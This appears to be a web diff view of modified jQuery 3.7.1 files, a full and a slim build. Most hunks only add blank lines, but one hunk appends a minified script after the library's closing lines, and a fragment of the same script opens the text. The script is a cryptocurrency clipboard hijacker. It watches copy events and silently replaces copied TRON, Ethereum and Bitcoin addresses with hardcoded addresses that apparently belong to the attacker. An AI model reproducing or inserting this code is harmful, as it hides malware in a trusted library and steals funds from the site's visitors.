tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

View File

@ -54,6 +54,7 @@ var flat = arr.flat ? function( array ) {
return arr.concat.apply( [], array );
};
var push = arr.push;
var indexOf = arr.indexOf;
@ -83,12 +84,16 @@ var isFunction = function isFunction( obj ) {
typeof obj.item !== "function";
};
var isWindow = function isWindow( obj ) {
return obj != null && obj === obj.window;
};
var document = window.document;
var preservedScriptAttributes = {
type: true,
src: true,
@ -125,6 +130,7 @@ var document = window.document;
doc.head.appendChild( script ).parentNode.removeChild( script );
}
function toType( obj ) {
if ( obj == null ) {
return obj + "";
@ -139,6 +145,8 @@ function toType( obj ) {
// Defining this global in .eslintrc.json would create a danger of using the global
// unguarded in another place, it seems safer to define global only for this module
var version = "3.7.1",
rhtmlSuffix = /HTML$/i,
@ -387,6 +395,7 @@ jQuery.extend( {
return obj;
},
// Retrieve the text value of an array of DOM nodes
text: function( elem ) {
var node,
@ -551,6 +560,7 @@ function isArrayLike( obj ) {
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}
function nodeName( elem, name ) {
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
@ -558,17 +568,24 @@ function nodeName( elem, name ) {
}
var pop = arr.pop;
var sort = arr.sort;
var splice = arr.splice;
var whitespace = "[\\x20\\t\\r\\n\\f]";
var rtrimCSS = new RegExp(
"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
"g"
);
// Note: an element does not contain itself
jQuery.contains = function( a, b ) {
var bup = b && b.parentNode;
@ -583,6 +600,9 @@ jQuery.contains = function( a, b ) {
) );
};
// CSS string/identifier serialization
// https://drafts.csswg.org/cssom/#common-serializing-idioms
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
@ -607,6 +627,9 @@ jQuery.escapeSelector = function( sel ) {
return ( sel + "" ).replace( rcssescape, fcssescape );
};
var preferredDoc = document,
pushNative = push;
@ -1434,6 +1457,7 @@ find.contains = function( context, elem ) {
return jQuery.contains( context, elem );
};
find.attr = function( elem, name ) {
// Set document vars if needed
@ -2698,6 +2722,7 @@ find.uniqueSort = jQuery.uniqueSort;
} )();
var dir = function( elem, dir, until ) {
var matched = [],
truncate = until !== undefined;
@ -2713,6 +2738,7 @@ var dir = function( elem, dir, until ) {
return matched;
};
var siblings = function( n, elem ) {
var matched = [];
@ -2725,10 +2751,13 @@ var siblings = function( n, elem ) {
return matched;
};
var rneedsContext = jQuery.expr.match.needsContext;
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
if ( isFunction( qualifier ) ) {
@ -2815,8 +2844,10 @@ jQuery.fn.extend( {
}
} );
// Initialize a jQuery object
// A central reference to the root jQuery(document)
var rootjQuery,
@ -2931,6 +2962,7 @@ init.prototype = jQuery.fn;
// Initialize central reference
rootjQuery = jQuery( document );
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
// Methods guaranteed to produce a unique set when starting from a unique set
@ -3112,6 +3144,8 @@ jQuery.each( {
} );
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
// Convert String-formatted options into Object-formatted ones
function createOptions( options ) {
var object = {};
@ -3337,6 +3371,7 @@ jQuery.Callbacks = function( options ) {
return self;
};
function Identity( v ) {
return v;
}
@ -3732,6 +3767,7 @@ jQuery.extend( {
}
} );
// These usually indicate a programmer mistake during development,
// warn about them ASAP rather than swallowing them by default.
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
@ -3749,12 +3785,18 @@ jQuery.Deferred.exceptionHook = function( error, asyncError ) {
}
};
jQuery.readyException = function( error ) {
window.setTimeout( function() {
throw error;
} );
};
// The deferred used on DOM ready
var readyList = jQuery.Deferred();
@ -3831,6 +3873,9 @@ if ( document.readyState === "complete" ||
window.addEventListener( "load", completed );
}
// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
@ -3892,6 +3937,7 @@ var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
return len ? fn( elems[ 0 ], key ) : emptyGet;
};
// Matches dashed string for camelizing
var rmsPrefix = /^-ms-/,
rdashAlpha = /-([a-z])/g;
@ -3918,6 +3964,9 @@ var acceptData = function( owner ) {
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
};
function Data() {
this.expando = jQuery.expando + Data.uid++;
}
@ -4072,6 +4121,8 @@ var dataPriv = new Data();
var dataUser = new Data();
// Implementation Summary
//
// 1. Enforce API surface and semantic compatibility with 1.9.x branch
@ -4240,6 +4291,7 @@ jQuery.fn.extend( {
}
} );
jQuery.extend( {
queue: function( elem, type, data ) {
var queue;
@ -4377,10 +4429,13 @@ var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
var documentElement = document.documentElement;
var isAttached = function( elem ) {
return jQuery.contains( elem.ownerDocument, elem );
},
@ -4416,6 +4471,8 @@ var isHiddenWithinTree = function( elem, el ) {
jQuery.css( elem, "display" ) === "none";
};
function adjustCSS( elem, prop, valueParts, tween ) {
var adjusted, scale,
maxIterations = 20,
@ -4481,6 +4538,7 @@ function adjustCSS( elem, prop, valueParts, tween ) {
return adjusted;
}
var defaultDisplayMap = {};
function getDefaultDisplay( elem ) {
@ -4581,6 +4639,8 @@ var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );
var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
( function() {
var fragment = document.createDocumentFragment(),
div = fragment.appendChild( document.createElement( "div" ) ),
@ -4612,6 +4672,7 @@ var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
support.option = !!div.lastChild;
} )();
// We have to close these tags to support XHTML (trac-13200)
var wrapMap = {
@ -4634,6 +4695,7 @@ if ( !support.option ) {
wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
}
function getAll( context, tag ) {
// Support: IE <=9 - 11 only
@ -4657,6 +4719,7 @@ function getAll( context, tag ) {
return ret;
}
// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
var i = 0,
@ -4671,6 +4734,7 @@ function setGlobalEval( elems, refElements ) {
}
}
var rhtml = /<|&#?\w+;/;
function buildFragment( elems, context, scripts, selection, ignored ) {
@ -4762,6 +4826,7 @@ function buildFragment( elems, context, scripts, selection, ignored ) {
return fragment;
}
var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
function returnTrue() {
@ -5711,6 +5776,7 @@ jQuery.fn.extend( {
}
} );
var
// Support: IE <=10 - 11, Edge 12 - 13 only
@ -6167,6 +6233,7 @@ var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
var rcustomProp = /^--/;
var getStyles = function( elem ) {
// Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)
@ -6201,8 +6268,11 @@ var swap = function( elem, options, callback ) {
return ret;
};
var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
( function() {
// Executing both pixelPosition & boxSizingReliable tests require only one layout
@ -6343,6 +6413,7 @@ var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
} );
} )();
function curCSS( elem, name, computed ) {
var width, minWidth, maxWidth, ret,
isCustomProp = rcustomProp.test( name ),
@ -6427,6 +6498,7 @@ function curCSS( elem, name, computed ) {
ret;
}
function addGetHookIf( conditionFn, hookFn ) {
// Define the hook, we'll check on the first run if it's really needed.
@ -6446,6 +6518,7 @@ function addGetHookIf( conditionFn, hookFn ) {
};
}
var cssPrefixes = [ "Webkit", "Moz", "ms" ],
emptyStyle = document.createElement( "div" ).style,
vendorProps = {};
@ -6478,6 +6551,7 @@ function finalPropName( name ) {
return vendorProps[ name ] = vendorPropName( name ) || name;
}
var
// Swappable if display is none or starts with table
@ -6597,6 +6671,7 @@ function getWidthOrHeight( elem, dimension, extra ) {
val = "auto";
}
// Support: IE 9 - 11 only
// Use offsetWidth/offsetHeight for when box sizing is unreliable.
// In those cases, the computed value can be trusted to be border-box.
@ -6956,6 +7031,7 @@ jQuery.fn.extend( {
}
} );
function Tween( elem, options, prop, end, easing ) {
return new Tween.prototype.init( elem, options, prop, end, easing );
}
@ -7071,6 +7147,9 @@ jQuery.fx = Tween.prototype.init;
// Back compat <1.8 extension point
jQuery.fx.step = {};
var
fxNow, inProgress,
rfxtypes = /^(?:toggle|show|hide)$/,
@ -7746,6 +7825,7 @@ jQuery.fx.speeds = {
_default: 400
};
// Based off of the plugin by Clint Helfers, with permission.
jQuery.fn.delay = function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
@ -7759,6 +7839,7 @@ jQuery.fn.delay = function( time, type ) {
} );
};
( function() {
var input = document.createElement( "input" ),
select = document.createElement( "select" ),
@ -7782,6 +7863,7 @@ jQuery.fn.delay = function( time, type ) {
support.radioValue = input.value === "t";
} )();
var boolHook,
attrHandle = jQuery.expr.attrHandle;
@ -7911,6 +7993,9 @@ jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name )
};
} );
var rfocusable = /^(?:input|select|textarea|button)$/i,
rclickable = /^(?:a|area)$/i;
@ -8043,6 +8128,9 @@ jQuery.each( [
jQuery.propFix[ this.toLowerCase() ] = this;
} );
// Strip and collapse whitespace according to HTML spec
// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
function stripAndCollapse( value ) {
@ -8050,6 +8138,7 @@ jQuery.each( [
return tokens.join( " " );
}
function getClass( elem ) {
return elem.getAttribute && elem.getAttribute( "class" ) || "";
}
@ -8222,6 +8311,9 @@ jQuery.fn.extend( {
}
} );
var rreturn = /\r/g;
jQuery.fn.extend( {
@ -8400,6 +8492,9 @@ jQuery.each( [ "radio", "checkbox" ], function() {
}
} );
// Return jQuery for attributes-only inclusion
var location = window.location;
@ -8407,6 +8502,8 @@ var nonce = { guid: Date.now() };
var rquery = ( /\?/ );
// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
var xml, parserErrorElem;
@ -8433,6 +8530,7 @@ jQuery.parseXML = function( data ) {
return xml;
};
var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
stopPropagationCallback = function( e ) {
e.stopPropagation();
@ -8617,6 +8715,7 @@ jQuery.fn.extend( {
}
} );
var
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
@ -8737,6 +8836,7 @@ jQuery.fn.extend( {
}
} );
var
r20 = /%20/g,
rhash = /#.*$/,
@ -9593,6 +9693,7 @@ jQuery.ajaxPrefilter( function( s ) {
}
} );
jQuery._evalUrl = function( url, options, doc ) {
return jQuery.ajax( {
url: url,
@ -9616,6 +9717,7 @@ jQuery._evalUrl = function( url, options, doc ) {
} );
};
jQuery.fn.extend( {
wrapAll: function( html ) {
var wrap;
@ -9682,6 +9784,7 @@ jQuery.fn.extend( {
}
} );
jQuery.expr.pseudos.hidden = function( elem ) {
return !jQuery.expr.pseudos.visible( elem );
};
@ -9689,6 +9792,9 @@ jQuery.expr.pseudos.visible = function( elem ) {
return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
};
jQuery.ajaxSettings.xhr = function() {
try {
return new window.XMLHttpRequest();
@ -9850,6 +9956,9 @@ jQuery.ajaxTransport( function( options ) {
}
} );
// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
if ( s.crossDomain ) {
@ -9915,6 +10024,9 @@ jQuery.ajaxTransport( "script", function( s ) {
}
} );
var oldCallbacks = [],
rjsonp = /(=)\?(?=&|$)|\?\?/;
@ -10007,6 +10119,9 @@ jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
}
} );
// Support: Safari 8 only
// In Safari 8 documents created via document.implementation.createHTMLDocument
// collapse sibling forms: the second one becomes a child of the first one.
@ -10018,6 +10133,7 @@ support.createHTMLDocument = ( function() {
return body.childNodes.length === 2;
} )();
// Argument "data" should be string of html
// context (optional): If specified, the fragment will be created in this context,
// defaults to document
@ -10068,6 +10184,7 @@ jQuery.parseHTML = function( data, context, keepScripts ) {
return jQuery.merge( [], parsed.childNodes );
};
/**
* Load a url into a page
*/
@ -10131,12 +10248,18 @@ jQuery.fn.load = function( url, params, callback ) {
return this;
};
jQuery.expr.pseudos.animated = function( elem ) {
return jQuery.grep( jQuery.timers, function( fn ) {
return elem === fn.elem;
} ).length;
};
jQuery.offset = {
setOffset: function( elem, options, i ) {
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
@ -10349,6 +10472,7 @@ jQuery.each( [ "top", "left" ], function( _i, prop ) {
);
} );
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
jQuery.each( {
@ -10398,6 +10522,7 @@ jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
} );
} );
jQuery.each( [
"ajaxStart",
"ajaxStop",
@ -10411,6 +10536,9 @@ jQuery.each( [
};
} );
jQuery.fn.extend( {
bind: function( types, data, fn ) {
@ -10453,6 +10581,9 @@ jQuery.each(
}
);
// Support: Android <=4.0 only
// Make sure we trim BOM and NBSP
// Require that the "whitespace run" starts from a non-whitespace
@ -10527,6 +10658,8 @@ jQuery.trim = function( text ) {
( text + "" ).replace( rtrim, "$1" );
};
// Register as a named AMD module, since jQuery can be concatenated with other
// files that may use define, but not via a proper concatenation script that
// understands anonymous AMD modules. A named AMD is safest and most robust
@ -10546,6 +10679,9 @@ if ( typeof define === "function" && define.amd ) {
} );
}
var
// Map over jQuery in case of overwrite
@ -10573,7 +10709,8 @@ if ( typeof noGlobal === "undefined" ) {
window.jQuery = window.$ = jQuery;
}
return jQuery;
} );
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();

File diff suppressed because one or more lines are too long

View File

@ -54,6 +54,7 @@ var flat = arr.flat ? function( array ) {
return arr.concat.apply( [], array );
};
var push = arr.push;
var indexOf = arr.indexOf;
@ -83,12 +84,16 @@ var isFunction = function isFunction( obj ) {
typeof obj.item !== "function";
};
var isWindow = function isWindow( obj ) {
return obj != null && obj === obj.window;
};
var document = window.document;
var preservedScriptAttributes = {
type: true,
src: true,
@ -125,6 +130,7 @@ var document = window.document;
doc.head.appendChild( script ).parentNode.removeChild( script );
}
function toType( obj ) {
if ( obj == null ) {
return obj + "";
@ -139,6 +145,8 @@ function toType( obj ) {
// Defining this global in .eslintrc.json would create a danger of using the global
// unguarded in another place, it seems safer to define global only for this module
var version = "3.7.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween",
rhtmlSuffix = /HTML$/i,
@ -387,6 +395,7 @@ jQuery.extend( {
return obj;
},
// Retrieve the text value of an array of DOM nodes
text: function( elem ) {
var node,
@ -551,6 +560,7 @@ function isArrayLike( obj ) {
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}
function nodeName( elem, name ) {
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
@ -558,17 +568,24 @@ function nodeName( elem, name ) {
}
var pop = arr.pop;
var sort = arr.sort;
var splice = arr.splice;
var whitespace = "[\\x20\\t\\r\\n\\f]";
var rtrimCSS = new RegExp(
"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
"g"
);
// Note: an element does not contain itself
jQuery.contains = function( a, b ) {
var bup = b && b.parentNode;
@ -583,6 +600,9 @@ jQuery.contains = function( a, b ) {
) );
};
// CSS string/identifier serialization
// https://drafts.csswg.org/cssom/#common-serializing-idioms
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;
@ -607,6 +627,9 @@ jQuery.escapeSelector = function( sel ) {
return ( sel + "" ).replace( rcssescape, fcssescape );
};
var preferredDoc = document,
pushNative = push;
@ -1434,6 +1457,7 @@ find.contains = function( context, elem ) {
return jQuery.contains( context, elem );
};
find.attr = function( elem, name ) {
// Set document vars if needed
@ -2698,6 +2722,7 @@ find.uniqueSort = jQuery.uniqueSort;
} )();
var dir = function( elem, dir, until ) {
var matched = [],
truncate = until !== undefined;
@ -2713,6 +2738,7 @@ var dir = function( elem, dir, until ) {
return matched;
};
var siblings = function( n, elem ) {
var matched = [];
@ -2725,10 +2751,13 @@ var siblings = function( n, elem ) {
return matched;
};
var rneedsContext = jQuery.expr.match.needsContext;
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
if ( isFunction( qualifier ) ) {
@ -2815,8 +2844,10 @@ jQuery.fn.extend( {
}
} );
// Initialize a jQuery object
// A central reference to the root jQuery(document)
var rootjQuery,
@ -2931,6 +2962,7 @@ init.prototype = jQuery.fn;
// Initialize central reference
rootjQuery = jQuery( document );
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
// Methods guaranteed to produce a unique set when starting from a unique set
@ -3112,6 +3144,8 @@ jQuery.each( {
} );
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
// Convert String-formatted options into Object-formatted ones
function createOptions( options ) {
var object = {};
@ -3337,6 +3371,7 @@ jQuery.Callbacks = function( options ) {
return self;
};
function Identity( v ) {
return v;
}
@ -3732,6 +3767,7 @@ jQuery.extend( {
}
} );
// These usually indicate a programmer mistake during development,
// warn about them ASAP rather than swallowing them by default.
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
@ -3749,12 +3785,18 @@ jQuery.Deferred.exceptionHook = function( error, asyncError ) {
}
};
jQuery.readyException = function( error ) {
window.setTimeout( function() {
throw error;
} );
};
// The deferred used on DOM ready
var readyList = jQuery.Deferred();
@ -3831,6 +3873,9 @@ if ( document.readyState === "complete" ||
window.addEventListener( "load", completed );
}
// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
@ -3892,6 +3937,7 @@ var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
return len ? fn( elems[ 0 ], key ) : emptyGet;
};
// Matches dashed string for camelizing
var rmsPrefix = /^-ms-/,
rdashAlpha = /-([a-z])/g;
@ -3918,6 +3964,9 @@ var acceptData = function( owner ) {
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
};
function Data() {
this.expando = jQuery.expando + Data.uid++;
}
@ -4072,6 +4121,8 @@ var dataPriv = new Data();
var dataUser = new Data();
// Implementation Summary
//
// 1. Enforce API surface and semantic compatibility with 1.9.x branch
@ -4240,6 +4291,7 @@ jQuery.fn.extend( {
}
} );
jQuery.extend( {
queue: function( elem, type, data ) {
var queue;
@ -4377,10 +4429,13 @@ var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
var documentElement = document.documentElement;
var isAttached = function( elem ) {
return jQuery.contains( elem.ownerDocument, elem );
},
@ -4416,6 +4471,8 @@ var isHiddenWithinTree = function( elem, el ) {
jQuery.css( elem, "display" ) === "none";
};
function adjustCSS( elem, prop, valueParts, tween ) {
var adjusted, scale,
maxIterations = 20,
@ -4481,6 +4538,7 @@ function adjustCSS( elem, prop, valueParts, tween ) {
return adjusted;
}
var defaultDisplayMap = {};
function getDefaultDisplay( elem ) {
@ -4581,6 +4639,8 @@ var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );
var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
( function() {
var fragment = document.createDocumentFragment(),
div = fragment.appendChild( document.createElement( "div" ) ),
@ -4612,6 +4672,7 @@ var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
support.option = !!div.lastChild;
} )();
// We have to close these tags to support XHTML (trac-13200)
var wrapMap = {
@ -4634,6 +4695,7 @@ if ( !support.option ) {
wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
}
function getAll( context, tag ) {
// Support: IE <=9 - 11 only
@ -4657,6 +4719,7 @@ function getAll( context, tag ) {
return ret;
}
// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
var i = 0,
@ -4671,6 +4734,7 @@ function setGlobalEval( elems, refElements ) {
}
}
var rhtml = /<|&#?\w+;/;
function buildFragment( elems, context, scripts, selection, ignored ) {
@ -4762,6 +4826,7 @@ function buildFragment( elems, context, scripts, selection, ignored ) {
return fragment;
}
var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
function returnTrue() {
@ -5711,6 +5776,7 @@ jQuery.fn.extend( {
}
} );
var
// Support: IE <=10 - 11, Edge 12 - 13 only
@ -6167,6 +6233,7 @@ var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
var rcustomProp = /^--/;
var getStyles = function( elem ) {
// Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)
@ -6201,8 +6268,11 @@ var swap = function( elem, options, callback ) {
return ret;
};
var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
( function() {
// Executing both pixelPosition & boxSizingReliable tests require only one layout
@ -6343,6 +6413,7 @@ var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
} );
} )();
function curCSS( elem, name, computed ) {
var width, minWidth, maxWidth, ret,
isCustomProp = rcustomProp.test( name ),
@ -6427,6 +6498,7 @@ function curCSS( elem, name, computed ) {
ret;
}
function addGetHookIf( conditionFn, hookFn ) {
// Define the hook, we'll check on the first run if it's really needed.
@ -6446,6 +6518,7 @@ function addGetHookIf( conditionFn, hookFn ) {
};
}
var cssPrefixes = [ "Webkit", "Moz", "ms" ],
emptyStyle = document.createElement( "div" ).style,
vendorProps = {};
@ -6478,6 +6551,7 @@ function finalPropName( name ) {
return vendorProps[ name ] = vendorPropName( name ) || name;
}
var
// Swappable if display is none or starts with table
@ -6597,6 +6671,7 @@ function getWidthOrHeight( elem, dimension, extra ) {
val = "auto";
}
// Support: IE 9 - 11 only
// Use offsetWidth/offsetHeight for when box sizing is unreliable.
// In those cases, the computed value can be trusted to be border-box.
@ -6956,6 +7031,7 @@ jQuery.fn.extend( {
}
} );
// Based off of the plugin by Clint Helfers, with permission.
jQuery.fn.delay = function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
@ -6969,6 +7045,7 @@ jQuery.fn.delay = function( time, type ) {
} );
};
( function() {
var input = document.createElement( "input" ),
select = document.createElement( "select" ),
@ -6992,6 +7069,7 @@ jQuery.fn.delay = function( time, type ) {
support.radioValue = input.value === "t";
} )();
var boolHook,
attrHandle = jQuery.expr.attrHandle;
@ -7121,6 +7199,9 @@ jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name )
};
} );
var rfocusable = /^(?:input|select|textarea|button)$/i,
rclickable = /^(?:a|area)$/i;
@ -7253,6 +7334,9 @@ jQuery.each( [
jQuery.propFix[ this.toLowerCase() ] = this;
} );
// Strip and collapse whitespace according to HTML spec
// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
function stripAndCollapse( value ) {
@ -7260,6 +7344,7 @@ jQuery.each( [
return tokens.join( " " );
}
function getClass( elem ) {
return elem.getAttribute && elem.getAttribute( "class" ) || "";
}
